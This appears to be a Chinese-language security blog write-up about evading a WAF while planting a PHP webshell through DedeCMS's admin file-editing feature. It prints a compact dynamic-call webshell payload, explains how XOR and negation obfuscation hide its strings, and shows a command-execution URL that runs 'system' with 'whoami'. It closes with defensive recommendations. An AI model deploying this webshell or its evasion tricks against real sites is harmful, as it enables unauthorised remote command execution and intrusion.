一次 WebShell 免杀与 WAF 绕过的攻防对抗分析
字数 1114 2025-08-29 08:30:06

WebShell 免杀与 WAF 绕过的攻防对抗分析

前言

本文详细分析了一次针对织梦CMS的WebShell免杀与WAF绕过的攻防对抗过程。通过研究系统功能点、分析WAF防护机制,最终成功构造出能够绕过安全检测的WebShell payload。

漏洞发现过程

1. 功能点定位

在织梦CMS系统中发现"防采集混淆字符串管理"功能,该功能允许编辑文件内容:

  • 文件路径:/dede/article_string_mix.php
  • 关键点:功能越多潜在漏洞越多

2. 文件写入分析

通过抓包和代码审计发现:

  1. 文件内容被写入到特定位置
  2. 通过搜索源代码定位到实际写入路径
  3. 验证文件可访问性

WAF防护机制分析

1. 基础防护措施

  • 命令执行函数被禁止(如systemexec等)
  • 全局变量被禁止
  • 动态变量调用受限

2. PHP文件模式检测

WAF检测两种PHP文件模式:

  1. <?php 标准模式
  2. <?= 短标签模式

3. 特殊过滤规则

  • 禁止回调函数调用
  • 防止反引号命令执行
  • 过滤$@someVar($param)等可疑语法

免杀WebShell构造

1. 核心payload

成功绕过的payload示例:

<?php
// 异或和取反操作生成字符
// 核心执行逻辑
${$_}=@$_GET[_]($_GET[__]);
?>

2. Payload解析

  1. 变量解析

    • ${$_} 等同于 $_GET(因为$_的值是'_GET'
    • @用于抑制错误输出
  2. 参数获取

    • $_GET[_] 获取URL参数_的值(作为函数名)
    • $_GET[__] 获取URL参数__的值(作为函数参数)
  3. 执行流程

    • 调用$_GET[_]函数并传递$_GET[__]作为参数
    • 等效于:函数名(参数)

3. 命令执行方式

通过URL参数传递执行命令:

http://target/path/to/shell?_=system&__=whoami
  • _=system:指定执行system函数
  • __=whoami:传递whoami作为命令参数

技术要点总结

  1. 字符生成技术

    • 使用异或和取反操作生成所需字符
    • 绕过字符串直接检测
  2. 动态调用技术

    • 通过GET参数动态指定函数和参数
    • 实现高度灵活的代码执行
  3. WAF绕过思路

    • 避免使用被检测的函数名直接出现
    • 利用变量解析和动态调用特性
    • 使用错误抑制符减少异常暴露

防御建议

  1. 对管理员功能加强监控

    • 限制文件写入权限
    • 记录文件修改操作
  2. 增强WAF规则

    • 检测非常规的变量使用方式
    • 监控$_GET等超全局变量的异常使用
  3. 代码审计重点

    • 检查所有用户可控的函数调用
    • 验证动态代码执行的安全性
  4. 系统加固

    • 禁用危险函数
    • 限制PHP短标签使用
    • 定期更新安全防护规则

通过这种深入的攻防分析,我们可以更好地理解WebShell免杀技术和WAF绕过方法,同时也能针对性地加强系统防护。

WebShell 免杀与 WAF 绕过的攻防对抗分析 前言 本文详细分析了一次针对织梦CMS的WebShell免杀与WAF绕过的攻防对抗过程。通过研究系统功能点、分析WAF防护机制,最终成功构造出能够绕过安全检测的WebShell payload。 漏洞发现过程 1. 功能点定位 在织梦CMS系统中发现"防采集混淆字符串管理"功能,该功能允许编辑文件内容: 文件路径: /dede/article_string_mix.php 关键点:功能越多潜在漏洞越多 2. 文件写入分析 通过抓包和代码审计发现: 文件内容被写入到特定位置 通过搜索源代码定位到实际写入路径 验证文件可访问性 WAF防护机制分析 1. 基础防护措施 命令执行函数被禁止(如 system 、 exec 等) 全局变量被禁止 动态变量调用受限 2. PHP文件模式检测 WAF检测两种PHP文件模式: <?php 标准模式 <?= 短标签模式 3. 特殊过滤规则 禁止回调函数调用 防止反引号命令执行 过滤 $@someVar($param) 等可疑语法 免杀WebShell构造 1. 核心payload 成功绕过的payload示例: 2. Payload解析 变量解析 : ${$_} 等同于 $_GET (因为 $_ 的值是 '_GET' ) @ 用于抑制错误输出 参数获取 : $_GET[_] 获取URL参数 _ 的值(作为函数名) $_GET[__] 获取URL参数 __ 的值(作为函数参数) 执行流程 : 调用 $_GET[_] 函数并传递 $_GET[__] 作为参数 等效于: 函数名(参数) 3. 命令执行方式 通过URL参数传递执行命令: _=system :指定执行 system 函数 __=whoami :传递 whoami 作为命令参数 技术要点总结 字符生成技术 : 使用异或和取反操作生成所需字符 绕过字符串直接检测 动态调用技术 : 通过GET参数动态指定函数和参数 实现高度灵活的代码执行 WAF绕过思路 : 避免使用被检测的函数名直接出现 利用变量解析和动态调用特性 使用错误抑制符减少异常暴露 防御建议 对管理员功能加强监控 限制文件写入权限 记录文件修改操作 增强WAF规则 检测非常规的变量使用方式 监控 $_GET 等超全局变量的异常使用 代码审计重点 检查所有用户可控的函数调用 验证动态代码执行的安全性 系统加固 禁用危险函数 限制PHP短标签使用 定期更新安全防护规则 通过这种深入的攻防分析,我们可以更好地理解WebShell免杀技术和WAF绕过方法,同时也能针对性地加强系统防护。